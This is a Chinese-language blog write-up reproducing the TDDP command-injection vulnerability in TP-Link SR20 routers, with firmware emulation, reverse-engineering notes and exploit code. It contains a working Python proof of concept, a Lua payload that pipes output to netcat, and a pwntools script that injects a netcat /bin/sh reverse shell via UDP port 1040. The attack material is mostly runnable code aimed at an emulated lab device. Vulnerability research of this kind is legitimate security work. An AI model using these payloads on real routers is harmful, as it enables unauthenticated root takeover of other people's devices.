😀
TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器 此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令 该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中 TDDP 是 TP-Link 申请了专利的调试协议 基于 UDP 运行在 1040 端口
TP-Link SR20 设备运行了 V1 版本的 TDDP 协议 V1 版本无需认证 只需往 SR20 设备的 UDP 1040 端口发送数据 且数据的第二字节为 0x31 时 SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行 这就导致存在远程代码执行漏洞

固件选用官网提供的SR20(US)_V1_180518 固件未加密 可以直接使用binwalk提取出文件系统
bashbinwalk -Me ./tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
尝试使用FirmAE模拟环境 发现可以模拟出Web服务但是无法进入Debug模式终端 故选择手动模拟
从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件
下载完成完成之后配置虚拟网卡
bash$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 10.10.10.1/24

启动QEMU虚拟机 账户密码 root-root
bash$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

配置虚拟机网卡 配置完成后网络与物理机相通
bash$ ifconfig eth0 10.10.10.2/24

然后将文件系统打包过来之后挂载目录 并且使用chroot切换根目录即可
bash$ mount -o bind /dev ./squashfs-root/dev/
$ mount -t proc /proc/ ./squashfs-root/proc/
$ chroot squashfs-root sh

物理机需要安装安装atftpd搭建TFTP来为QEMU虚拟机提供下载服务
bash$ sudo apt install atftpd
在安装之后需要修改配置文件/etc/default/atftpd更改一下FTP根目录方便我们操作
confUSE_INETD=false # OPTIONS below are used only with init script OPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"
启动服务
bash$ sudo systemctl start atftpd
如果出现
atftpd: can't bind port :69/udpbash$ sudo systemctl stop inetutils-inetd.service $ sudo systemctl restart atftpd
在atftp根目录下写入payload
shfunction config_test(config)
os.execute("id | nc 10.10.10.1 1337")
end
启动虚拟机中tddp服务
bash$ tddp

物理机监听1337端口
bash$ nc -lvnp 1337

调用POC
bash$ python3 poc.py 10.10.10.2 /payload


代码得到执行
POC如下
python#!/usr/bin/python3
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
# os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
import sys
import binascii
import socket
port_send = 1040
port_receive = 61000
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
通过漏洞复现很明显漏洞存在于/usr/tddp中 使用IDA进行逆向分析 并且可以通过字符串定位关键函数

在启动时有字符串tddp task start 使用IDA 定位到函数sub_936C


上层继续看一眼 发现是分流 且为最顶层 故认为是main函数 那么继续分析sub_936C 即可


内部大部分函数功能都能一眼看出来 这里直接给出函数重命名后的sub_936C 分析后发现没有接收数据的函数 判断sub_16418为数据接受相关 重点转向sub_16418

发现在sub_16418中确实存在大量sendto()和recvfrom()确定为数据接收相关

从32行v18 = recvfrom(v14[9], (char *)v14 + 0xB01B, 0xAFC8u, 0, &addr, &addr_len); 可以知道数据是存在v14+0xB01B的 以此为依据可以向下继续追数据相关的操作 或者可以根据之前复现时的字符串都可以定位到数据处理关键函数sub_15E74

逐一看过来 发现基本都是测试和debug用的函数 直到case 0x31的位置

这里调用了CMD_FTEST_CONFIG 进入之后发现在68行位置有shell命令拼接操作

向上追 发现在59行处进行的参数解析 其中v21为原始字符串 且v21指向v10+0xB01B很明显指向传入的数据处 很明显的命令拼接存在漏洞 就看内部有没有过滤了 追入sub_91DC 发现无过滤 直接得到执行 则此处存在命令注入漏洞

这里IDA反编译有错误 可以看看Frida 可以看到如果成功加载之后会调用lua脚本中的config_test函数 此处也可以使用config_test进行命令执行

首先是在sub_16418中 因为我们想要程序流向sub_15E74 所以必须满足v2==1 且v2 = *v20 =v14 + 0xB01B即我们输入的第一个字节 所以第一个字节为0x1

进入到sub_15E74后 switch case语句的判断标准是a1[0xB01C] 且a1为传入的参数即v14 而我们需要程序流入case 0x31 所以确定第二个字节为0x31

进入到case 0x31后 v21由v15控制 且v15==1 所以v21+=12所以输入的字符串应该在12

pythonimport socket
import binascii
from pwn import *
socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'/payload;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))
pythonimport socket
import binascii
from pwn import *
socket_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload=p8(0x1)+p8(0x31)+p8(0x0)*10+'aa 10.10.10.1||nc 10.10.10.1 7777|/bin/sh|nc 10.10.10.1 8888 #;ss'.encode()
socket_send.sendto(payload,('10.10.10.2',1040))

在后面新版固件中直接砍掉了case 0x31 彻底修复了漏洞(doge)

本文作者:Du4t
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!